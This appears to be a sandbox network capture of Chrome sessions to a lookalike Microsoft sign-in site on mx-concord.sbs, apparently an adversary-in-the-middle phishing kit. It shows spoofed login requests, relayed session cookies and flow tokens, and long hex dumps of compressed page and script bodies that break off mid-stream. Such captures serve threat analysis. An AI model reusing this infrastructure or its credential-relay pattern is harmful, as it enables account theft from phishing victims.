2024-08-28 20:21:28 UTC	549	OUT	GET /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: portal.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0
2024-08-28 20:21:30 UTC	771	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:29 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: afcb552d-3926-4c34-a983-80674e5a3400 x-ms-ests-server: 2.1.18794.6 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:30 UTC	170	IN	Data Raw: 61 34 0d 0a 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 37 36 37 63 36 63 38 34 2d 62 34 34 37 2d 34 32 36 33 2d 62 30 34 66 2d 30 61 34 31 62 34 39 37 62 30 30 66 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 30 38 2d 32 38 20 32 30 3a 32 31 3a 32 39 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d 0d 0a Data Ascii: a4{"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"767c6c84-b447-4263-b04f-0a41b497b00f","timestamp":"2024-08-28 20:21:29Z","message":"AADSTS900561"}}
2024-08-28 20:21:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.16	49798	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:28 UTC	1625	OUT	GET /oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2fportal.mx-concord.sbs%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAROvbl192LRaa-Gv9z3LAw142YxcsbnZJaBVa5iVCZsnP4FRsYXjIy3mAT9i9I9U8KL3VJTUosSSzLz8y6wCLxi4TFgtuLg4BJgkGBQYPjBwriIFWir1i31y3k50h7NQV9Sk7O9GU6x6vsFOgYHeRUmhTv5OmdElgdkBZkUeZubVJimllp4eiZ5OBUYpBl4ZlU6FufbmlsZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu7xtwbt3nze-83jFr1MQUhjoE-SW7FcUUZ5ZVRleaRBl5FuZ4ZORamocnJEZYuCbXZVnaBhhEuxru0GA4YEAAwA1&estsfed=1&uaid=dddaecca72d14acb80fd0bde3831295e&fci=https%3a%2f%2fc188f54d-b128254c.mx-concord.sbs&username=bob%40gmail.com&login_hint=bob%40gmail.com HTTP/1.1 Host: l1ve.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:30 UTC	534	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 60033 Connection: close cache-control: no-store, no-cache pragma: no-cache vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" referrer-policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: 6958243c-d7ce-490b-b241-67daa191f651 ppserver: PPV: 30 H: SN1PEPF0002F9CA V: 0 content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:30 UTC	15850	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 5b 7b e2 48 b6 20 fa 3e bf 82 a4 ba 0d b4 b1 cd fd e6 a2 bc 31 c6 18 9b 9b b9 39 49 ca 3b 47 48 01 28 0d 12 29 09 63 32 d3 fc 99 79 98 6f 1e ce db f9 07 fd c7 ce 5a 2b 22 24 81 ed cc ac ea ea f3 ed 99 73 7a ef 4a 4b a1 b8 ac 58 b1 ee b1 22 f8 f5 dd 45 ab dc 1b b6 2b 81 99 b3 98 ff f6 df 7e c5 3f 01 4d b7 8a c1 b9 63 05 03 73 c5 98 16 83 95 e6 51 bf 1b fc ed bf 05 7e 9d 31 45 83 bf 81 5f 17 cc 51 02 aa 69 38 cc 70 8a 41 87 3d 39 27 d8 f4 34 a0 ce 14 cb 66 4e 71 e5 4c 8e 72 41 e8 d6 59 1e b1 cf 2b fd b1 18 2c f3 ea 47 bd cd 92 05 4f 5e e9 a6 56 29 56 b4 29 db 6d f5 fe a8 5f 3a 2a 9b 8b a5 e2 e8 e3 b9 6c 38 d7 8d 87 80 6a 99 b6 6d 5a fa 54 37 8a 41 68 65 b1 49 31 88 6d ed c2 c9 49 3c c7 f2 d9 8c a2 1d 8d e3 89 5c 22 9d 52 Data Ascii: [{H >19I;GH()c2yoZ+"$szJKX"E+~?McsQ~1E_Qi8pA=9'4fNqLrAY+,GO^V)V)m_:*l8jmZT7AheI1mI<\"R
2024-08-28 20:21:30 UTC	14460	IN	Data Raw: ab fd 77 20 80 79 d6 f2 a9 6a fe a6 6a a7 78 e2 33 4c 62 78 a4 6a 87 87 78 96 55 bd 76 cf da 22 ed 93 c0 f7 b5 50 c5 39 51 e8 11 04 a2 86 89 cf 00 12 09 71 55 bb 47 98 fa 2e c2 a9 c6 b7 6f d4 cf 3e 9c 80 58 5a df b2 bb be 5f bd 64 9e 82 5a 0d e3 f0 11 2f 7b 4d 14 c5 23 7c 45 c6 c9 37 99 d1 8e ed 2e c8 38 93 f0 09 9e 44 de 27 78 72 a9 3c ad 07 bd e4 13 63 12 37 fe a5 52 c4 5b 5c cd 46 48 d9 6d c2 a3 fb 91 1d 23 81 3f 89 dc 93 ce f3 e0 98 8a 35 33 41 43 c4 11 17 53 d4 71 50 57 3c 6b f0 9c 14 cf 2b d4 22 e2 b9 0e cf 19 f1 7c 0e cf 59 f1 dc 84 e7 34 3d 03 26 eb 2f 2d bd 72 94 c5 a2 2c 1e 65 09 2f 17 9d 25 a3 2c 15 65 e9 22 20 4c 2d 47 a2 2c 83 64 c3 40 21 b3 2c 88 cb 30 cb c0 53 8e a4 2c b6 85 97 7c 11 c9 9d 0d 8a 2c 01 c3 28 51 a6 02 61 9d b1 01 f5 9f 8d 14 Data Ascii: w yjjx3LbxjxUv"P9QqUG.o>XZ_dZ/{M#\|E7.8D'xr<c7R[\FHm#?53ACSqPW<k+"\|Y4=&/-r,e/%,e" L-G,d@!,0S,\|,(Qa
2024-08-28 20:21:31 UTC	16384	IN	Data Raw: 51 70 7a 38 a6 58 c6 9c 97 e5 62 d1 3b 3f a1 40 62 26 95 02 c9 18 b9 ec 1c 8b 40 89 93 a5 fe 38 63 85 78 6d d8 0c e5 43 2b c0 22 77 16 77 cd d0 46 8b a6 14 4c 99 06 ad 98 5a 7c fc 04 c1 98 57 ed e6 4a b9 0d 32 87 8f 16 5c 10 e9 4c f4 0b 91 8b ed e5 a3 8e ee 11 6d 18 87 81 82 45 eb 1e c4 43 8a 20 64 e0 f0 43 3a a4 76 e7 1a e9 10 62 4c d3 10 a9 1f ae 74 88 86 4a ad f3 2d a9 e1 d8 d9 04 21 79 8d 1c 8a 74 08 75 93 8f d8 eb 64 4b f7 1f d7 10 aa 31 3e e9 93 ff 97 7a a3 4a d7 d2 21 aa 6b 3f 25 1d 22 a0 46 f8 86 f6 9c 88 20 39 12 7b bc 21 84 e3 21 e3 22 15 b4 76 41 52 8a 81 9c 80 d5 da fa 3b 67 2a 1c 87 d8 95 64 62 bd c8 5d 0a 9e 8c 49 51 78 79 eb 98 b5 b1 f1 0f 96 dc 99 f1 35 7a f3 b0 07 47 ad 1e 9c 11 d9 18 22 37 f8 b4 17 ef d9 ab 22 17 91 cf 3d 32 74 09 a1 ed Data Ascii: Qpz8Xb;?@b&@8cxmC+"wwFLZ\|WJ2\LmEC dC:vbLtJ-!ytudK1>zJ!k?%"F 9{!!"vAR;g*db]IQxy5zG"7"=2t
2024-08-28 20:21:31 UTC	13339	IN	Data Raw: d4 67 cf 22 55 4a 36 16 a9 4f 2e 99 7f d1 a0 f2 9c 87 19 f0 33 c9 a4 a3 0e 10 71 23 f0 51 b1 37 4b 69 d6 54 db 09 e1 36 c8 6b b0 bb 5d 9c 82 67 8e bb e4 71 06 bd 3e f6 40 ad 5e bd 5a c0 52 2c 15 63 04 89 c2 5b 59 37 c9 0d 07 9c d8 05 f0 d9 b3 a5 ef b9 50 03 e6 94 3e 73 4e 69 55 b8 81 a7 f6 bc 4f 4f 5c ee 80 21 b2 a2 33 3f cb be ad e8 c4 a9 48 bc 35 17 8c 62 bd 85 db c1 9a ba 57 b2 7a 15 c4 45 5b c1 be 3e d7 00 69 bd 35 c0 da d1 bf 03 c7 9b 8d a7 c1 75 60 13 c1 39 5b fa e6 56 9d 5c 9c e3 19 05 0e 87 c1 66 5e fb ab a9 29 59 09 06 aa 3a c1 39 47 83 a0 41 c1 21 ab b9 cd f8 6c 93 7f 05 9b 78 57 19 14 75 04 c6 b8 f4 9f fa b6 22 ec c9 ee 4a 4a 83 9d 5d 4b db 2e c0 79 39 35 3f 99 e3 1b 97 fc 01 ad 78 1f f5 52 37 f3 b4 44 47 b3 1c 66 05 c5 a9 58 c3 5a 61 d3 2d 9a Data Ascii: g"UJ6O.3q#Q7KiT6k]gq>@^ZR,c[Y7P>sNiUOO\!3?H5bWzE[>i5u`9[V\f^)Y:9GA!lxWu"JJ]K.y95?xR7DGfXZa-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.16	49799	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:31 UTC	1276	OUT	GET /b128254cc16e4b1faaf8773d457e256b/ HTTP/1.1 Host: portal.mx-concord.sbs Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://portal.mx-concord.sbs Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; brcap=0; ESTSWCTXFLOWTOKEN=AQABIQEAAAApTwJmzXqdR4BN2miheQMYlFCpZ59JsLeiNocVPGB1aE4YT_oiZxqHwUy8O85bvoB7EaS6t2CQti7XSQMMw9SSpGGiSG1TQYHKvuW8Uh-1bK0eBSKRQzLf0jcBUtNg2JDo-RYurWf55TxkBXKNt-8WsJc1rOvCAOKLkSedas65tlM0_UkRjc-J9S-M4JtFbQ72PbrcbywcIQy2Y1JlSBZGAJzSVYjngNJSpnzvT-UJibRetVAii6KOe8i7pdGpuvvI3j9D2hnVRmYqFYLYWIN16-tNuqFFYaTgFmCuLI-4g3neXbML01qSbNp7Mj0_A_lF2Q0AunFq5NhkO4M3wttL7tpTHr4cV6O5wc2S9zpQd2rn7087cdF8Nk4x-m29CAejHFyxLBzg66xK8WxDWJ7hshbNvn6ChPz6V95h7Kr_BCUO8cFUAwbIkU4x2tjDipm0H4JMJln_6_26RZrW6hX7BaU6D2Q791YNlUgXd12QBMis2xPis8zP-v9Xao27HiaQKc9iOSvPJ-oE53rqiTrTIAA Sec-WebSocket-Key: TLL5CI9Vs+GCV9VTvXR7YA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:21:32 UTC	739	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 661728b0-ba97-4e00-b987-4db63a505800 x-ms-ests-server: 2.1.18794.6 - FRC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49802	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:31 UTC	615	OUT	GET /shared/5/js/login_en_uUOwd3YLall49Tk7iIh1aA2.js HTTP/1.1 Host: 995a2a74-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://l1ve.mx-concord.sbs sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://l1ve.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 20:21:34 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:34 GMT Content-Type: application/x-javascript Content-Length: 234809 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 523073 cache-control: public, max-age=31536000 etag: 0x8DCC0BA0FA71D3E last-modified: Tue, 20 Aug 2024 01:47:33 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fe977446-f01e-00e5-66c5-f49b6e000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:34 UTC	15639	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dc bd f9 77 db 38 b3 20 fa fb fb 2b 6c bd 1c 1f f2 1a 56 24 3b 2b 15 b6 26 f1 d2 49 77 b6 ce d2 49 da 9f c7 87 96 60 8b 89 44 2a 24 65 c7 b1 f5 bf bf 5a b0 92 94 93 7c 77 ee cc 7d 93 73 62 81 20 08 14 0a 05 a0 aa 50 55 b8 fd 1f eb 6b 07 79 b1 36 4d 47 32 2b e5 5a 9a 9d e6 c5 2c a9 d2 3c 5b 9b 4f 65 02 59 a5 94 6b d3 fc 2c cd 8e 65 d6 fd 5c 76 9f 3f db dd 7f f9 76 bf 5b 7d ab d6 fe e3 f6 ff b3 7e ba c8 46 58 3e 08 af ce 93 62 4d 8a 4a 64 a2 10 b9 48 e3 ab bb fd 9d bb 91 29 40 af c2 ab ce 02 6b ad 8a 74 54 75 06 f8 49 11 67 c1 f6 c3 bb fd 50 e4 f1 d5 68 92 4e c7 bb 79 56 c9 6f d5 bb cb b9 2c a3 f5 9e 18 d9 e7 da 23 bd 1e cb d3 64 31 ad 5e 17 f9 9c 9f d3 72 3e 4d 2e 5f 26 33 2a 7e 26 ab bd 5a 09 ca 2a d2 73 39 7e 5b 25 95 3c 28 Data Ascii: w8 +lV$;+&IwI`D$eZ\|w}sb PUky6MG2+Z,<[OeYk,e\v?v[}~FX>bMJdH)@ktTuIgPhNyVo,#d1^r>M._&3~&Z*s9~[%<(
2024-08-28 20:21:34 UTC	16379	IN	Data Raw: f7 30 bb f3 c0 c1 ec ce 43 1f ad 77 7a 1e 52 ef 40 6d cf b2 52 a2 ad c5 9d 7b 16 bf 7d ec e3 41 1f 13 00 c9 c1 36 26 00 8c 83 1d 4c c0 37 07 77 30 01 1f 1c dc c5 04 00 70 70 0f 13 d0 f4 c1 7d 4c 40 b3 07 0f 10 55 d0 de c1 43 4c f4 b1 c2 1e a6 a8 6a ac 7b 1b eb ee 63 e5 77 a0 f2 97 8b 19 e3 a3 8f 50 b9 43 b5 bd 0d af 51 45 08 c3 92 78 33 01 a8 bb ae c5 21 92 d7 f4 9f e7 87 f4 8c 9e 2c f8 4b 1c 9f 37 d0 de 5d 2f 6a 99 b0 87 94 56 89 c3 11 56 65 4c b3 2b 1c aa 51 8f da 8e 13 65 ed 48 5d eb 73 ad 6e 9f ab 4c 15 70 f8 d1 11 dd 21 ef c0 15 75 a0 b3 da 85 f2 df d7 07 16 c0 74 25 4a e3 c3 07 95 ab f5 84 7a 11 68 5b bb 5a 30 42 98 80 c9 2f 54 17 56 7c f6 43 34 18 1c 60 5d 74 10 fb 4b 00 fc 72 1b b0 9c 4e 73 57 ed 86 a7 af 74 19 d6 a9 2c f4 d2 5e 7a 64 c6 61 cf 4a Data Ascii: 0CwzR@mR{}A6&L7w0pp}L@UCLj{cwPCQEx3!,K7]/jVVeL+QeH]snLp!ut%Jzh[Z0B/TV\|C4`]tKrNsWt,^zdaJ
2024-08-28 20:21:35 UTC	16384	IN	Data Raw: 0d 45 8a 00 6e 0c 15 4e de a5 fe d6 33 61 af 6f 6d c5 da 42 36 6a 9c ab 5d e3 c7 a3 19 2b 57 1a b3 7f 08 d7 2e 46 fa 60 0e 92 93 3d 6c 5b a6 b0 d1 07 e3 d8 d1 04 d4 12 ea ab 0f bc f0 96 24 54 f2 c7 95 8d 92 8e ac ce c8 16 29 3b c0 e0 a4 3d f1 ad ee 57 52 1f cb 37 89 d1 e0 84 a2 22 c1 9d d1 df 52 a5 eb 5e a5 83 50 92 a7 2d ae 52 a4 6b bb ac 6a c7 31 d4 33 92 fd 39 99 97 14 94 5a 88 ab 3b de 3d a3 a2 f5 ff 06 9b 8d 58 a6 e9 ec cb dc e8 b0 9f 99 af 86 ef da d2 c2 5c 14 cf db 34 a8 63 d9 d6 b9 d9 d6 70 99 69 2d ec 07 d4 73 b3 17 03 f1 6e 47 c5 93 81 6f 46 63 74 a4 1a 11 58 6a d3 be d5 d2 52 53 19 9c 61 ee 51 2d 69 a9 7e 82 53 19 be b1 5c 3a 10 3d 58 c1 26 63 25 d9 da b8 c1 cb 96 20 07 b2 0d 3b 88 28 80 1b 41 ed a6 c2 78 ba 42 b7 54 e6 ec a7 0d da 74 9c 85 7f Data Ascii: EnN3aomB6j]+W.F`=l[$T);=WR7"R^P-Rkj139Z;=X\4cpi-snGoFctXjRSaQ-i~S\:=X&c% ;(AxBTt
2024-08-28 20:21:35 UTC	16384	IN	Data Raw: db b1 34 14 da 86 d5 08 10 db d3 8c f2 97 ad 61 4d 84 a7 bd 2a 2e 2b 90 0e a3 55 ec de a6 b4 07 6f ee 49 5b 22 46 86 2e 31 77 b5 6a 90 da ac c4 b6 fa e4 61 c5 ec 36 9f f1 c7 b7 b7 79 7a db 52 de da 5c c2 ee 71 1a 1b e9 d8 9c d2 0e 50 f2 a8 0b ac fc 01 ff 72 1a f5 54 c5 9d ce 54 2e e8 69 98 9e cc 4e 47 05 99 e2 e6 73 e0 d7 51 25 89 97 68 0a 9b 0a d8 53 f8 b5 d2 f8 8a a6 a7 5c 22 19 1a ea 0e 8f 75 47 ca 86 5b db ec ee 75 82 f1 94 19 d0 bc 9a ba fc 63 7c 91 22 fb 2b ba f9 5d f6 0b ad b1 ad 14 51 1a 42 e4 16 d1 8a 8c 1e e6 30 2f 0d 24 e3 12 0d 33 f8 20 58 a5 a1 d9 96 0b ba b3 e5 cb 61 78 9a 01 b0 9d 26 48 00 6d a5 50 18 39 53 ba 23 d3 0e 01 31 e6 aa 79 84 7a 48 39 04 0c 79 89 b6 81 cf 4c b0 dc d6 e1 05 2d d5 b6 8c e7 80 a5 42 0d e3 b2 bd d6 b1 01 64 e1 c7 5c Data Ascii: 4aM*.+UoI["F.1wja6yzR\qPrTT.iNGsQ%hS\"uG[uc\|"+]QB0/$3 Xax&HmP9S#1yzH9yL-Bd\
2024-08-28 20:21:35 UTC	16384	IN	Data Raw: 54 e3 22 5f 1c 42 93 4f ea 70 99 71 2a e3 d1 79 7c 25 e5 a9 bb 40 08 71 ee 77 83 97 a8 4c 54 45 11 31 7a 8f 79 4e fc ce 25 d0 db 10 d4 8e 7e a2 33 c8 38 91 11 2a df 1e c5 69 b0 1b bd 40 05 f2 c4 7b 8a 59 8b b1 3c f3 71 3c 04 9e 9d 46 40 ef ca 5a b8 2a 85 48 d5 fe 37 80 c4 26 7e 5f 9b 34 85 d4 e9 08 0a 09 e5 bb 05 e9 70 76 ed e2 d9 b5 6b 9c 5d bf c3 77 3f 4c 11 68 5e 07 68 b3 77 2b 0a b9 e8 cf 7d d0 62 83 b8 37 4d 77 46 68 5d 94 9b 1d 3a a7 25 c1 6e c3 69 1c 63 96 30 7d 0f 71 b8 98 18 c2 bb 55 a0 35 11 10 30 98 e2 a2 d0 d5 e1 2b ac 69 37 7a 15 c7 a8 fd 88 49 30 0f b8 b8 7c 5d f7 e9 9e f6 52 d5 93 ca 59 5a 9c 2c e9 68 de 1d 84 78 c3 c6 49 0e 49 07 ca 28 93 7a 2c 88 ca 4f fa e5 20 9c 00 2f b2 c6 77 70 4c a8 38 f4 5d 2f bf 5d 9e de cf a5 e3 6d b6 78 50 f4 ce Data Ascii: T"_BOpqy\|%@qwLTE1zyN%~38i@{Y<q<F@Z*H7&~_4pvk]w?Lh^hw+}b7MwFh]:%nic0}qU50+i7zI0\|]RYZ,hxII(z,O /wpL8]/]mxP
2024-08-28 20:21:35 UTC	16384	IN	Data Raw: 8e e3 25 9d bc 7b 47 ee 7e 2b 3b ab 0e 18 6a 26 b8 f5 69 08 06 3f f6 71 00 c6 e9 ce 9c 3c 16 35 96 41 2d f0 a6 12 1c 01 70 0c 36 a0 e5 80 27 1e db 3e 03 9d ca a0 60 3c fb a6 95 a6 31 f1 76 50 88 fd c8 f5 2d de eb b1 0c 0a be aa 15 24 91 67 81 b9 94 80 17 95 f9 d8 4b 43 06 1a cb a0 2e b8 1b 91 1d 99 b6 17 11 9b 2e c3 60 de 65 09 03 3d 97 41 3d b2 1b 11 a3 18 45 e0 f9 d9 66 14 66 91 85 30 03 3d 55 ac d6 11 b8 38 5e e0 66 d8 09 03 0b 7c 6b 70 65 62 3e 80 33 c5 58 03 bf 0f 2c 34 64 26 d8 4e 4c 6c 21 df 01 d7 80 81 1e c9 a0 e1 88 6c a3 f9 e0 c6 9a 1e 85 4f e1 bf 2e 03 7d a2 e0 d5 04 b3 20 4b 4d 3f 0c 03 cf 8f 33 97 38 32 96 cd 60 3f 2a b0 d6 28 0a c1 b5 77 90 93 c5 ae 1d 65 11 78 93 60 8e 53 d8 c7 0a ac 0d ae 11 8c 21 72 23 70 ec c1 7a 05 07 94 98 96 14 76 a4 Data Ascii: %{G~+;j&i?q<5A-p6'>`<1vP-$gKC..`e=A=Eff0=U8^f\|kpeb>3X,4d&NLl!lO.} KM?382`?*(wex`S!r#pzv
2024-08-28 20:21:35 UTC	16384	IN	Data Raw: 12 88 93 4b 60 56 66 bc fd 7c f1 ae f4 27 12 98 e3 78 37 9d 6d 65 06 06 f3 79 f7 64 b6 35 86 9f f8 cb e8 bd f1 ee 94 e0 ed b7 b1 41 27 b5 3b 36 e0 eb d3 77 bb 6f 01 fc 9d b1 fa 6d 5c 8b 98 a7 3f b6 9a da bf 06 09 7a 77 2c bc 76 6f 54 73 04 62 2b 76 4e 96 f8 10 4f 8b 81 80 84 12 f7 97 6a e7 3e dd 48 af ee 5f b1 5e 7d 7a f5 91 9b 35 93 88 b4 be d2 7d 7d c1 70 5c ec 2e 6e ce 88 28 01 71 59 50 ea f9 e5 17 0c bf 1b f4 17 a0 ed 15 fc 42 3e 64 cc 40 e2 be 85 a1 c1 6f c6 73 39 86 ec 73 5b 26 91 f6 98 18 f9 cc b9 ca 80 6c 1c 8e 77 89 e1 dc 23 f9 4b c8 ff 1b 01 3c 24 cc e7 d3 78 d7 c6 8e 71 1f 60 5b 1f 7d 05 b0 17 75 bd 7a 49 33 c5 a7 20 21 cb bb 9a 96 cb b7 10 ef 6d dc c2 24 01 fa 03 a3 0d 8c 2b d9 5e c0 6e 81 1a 2f 85 a1 0a 97 44 eb ad 68 98 4e 9f 76 48 ab cb e6 Data Ascii: K`Vf\|'x7meyd5A';6wom\?zw,voTsb+vNOj>H_^}z5}}p\.n(qYPB>d@os9s[&lw#K<$xq`[}uzI3 !m$+^n/DhNvH
2024-08-28 20:21:35 UTC	16384	IN	Data Raw: 47 29 c9 61 8a 10 3e 32 55 5f 55 98 22 f7 9a 20 79 74 0e b1 d3 fa d9 dc 48 8f 89 3d 24 4b 52 e9 f8 11 3d f9 6f 07 68 61 de 85 8f 4e 20 5f 79 a3 4d 85 49 8f 69 f3 d9 35 18 d5 ee 42 1d e6 48 81 00 96 c4 cb af 1c c2 9b 06 0e 94 05 da a8 e9 fe e9 81 ed 34 39 eb a2 4e 4e 80 03 d8 64 e4 d4 57 56 d1 12 80 b2 f3 d0 93 54 f0 e7 6c d1 d4 c0 71 d0 75 2e 77 dc 18 36 13 3a 9e 42 7c a9 90 9e 8c 3f 10 54 78 ab 27 06 29 f4 55 8d 0d 3c 80 ae ae 43 eb c4 20 99 b1 db 83 0b 64 b8 b0 2b 86 71 d2 c5 47 83 09 90 90 b0 51 a3 28 16 f4 01 b1 b8 b8 b6 e9 b1 46 1e 05 c1 17 db 61 16 2b b4 18 b5 09 89 83 5d 7b 30 35 5f da 74 7f a3 86 ef d5 ce 20 8e 80 03 d3 91 69 b3 81 9b 03 3a 84 55 94 92 e4 4f 6c 85 a0 c7 c7 9a 53 6c 45 48 48 e6 ca d3 0d 48 a6 5b 33 9f ff 88 de fc 7c 1a c7 4c b1 36 Data Ascii: G)a>2U_U" ytH=$KR=ohaN _yMIi5BH49NNdWVTlqu.w6:B\|?Tx')U<C d+qGQ(Fa+]{05_t i:UOlSlEHHH[3\|L6
2024-08-28 20:21:35 UTC	16384	IN	Data Raw: f4 ff ad 4e f8 33 aa 13 7e fc d7 51 27 fc f8 d7 50 27 fc f8 55 d4 09 ed a7 a9 81 17 51 92 a2 da 97 0c dd 79 48 dc eb e5 e4 2c 1a 91 77 45 6c e0 3a 14 46 e4 71 9d c7 d3 c8 a1 a4 1f 7b 43 21 e1 64 99 f5 87 30 02 ab 55 bf 4b b9 39 97 a6 5d 20 67 15 9b 71 d1 d2 4d 84 45 7e 38 8e b2 3e 71 11 05 1b 41 2e d4 1c b3 85 db 2f 48 d2 d1 bf 71 0f 85 ff 0b 14 a5 4f e0 4f e3 8a cd cb 01 f3 72 7f af 8a 72 7d bc ee 6f dd 10 e6 8e f5 b2 a1 88 e8 43 26 df 3d cc 0c 72 fa d1 64 32 e3 93 81 dd 5d 13 fb 3c bc 42 05 80 ac 03 e3 20 9a e5 c5 b2 7d d7 eb 9c d7 f9 31 0f c6 77 d5 fb 39 54 e0 2c 0f 76 9d 06 c3 b1 3a 69 3d f1 c6 fe bb 74 3e 6b 25 43 6f 81 a1 4e 11 f6 e1 61 24 03 2d ca 75 2c 03 24 85 37 89 f8 4b ea 62 4f ac 0a 06 b4 7a 64 52 10 81 4d e5 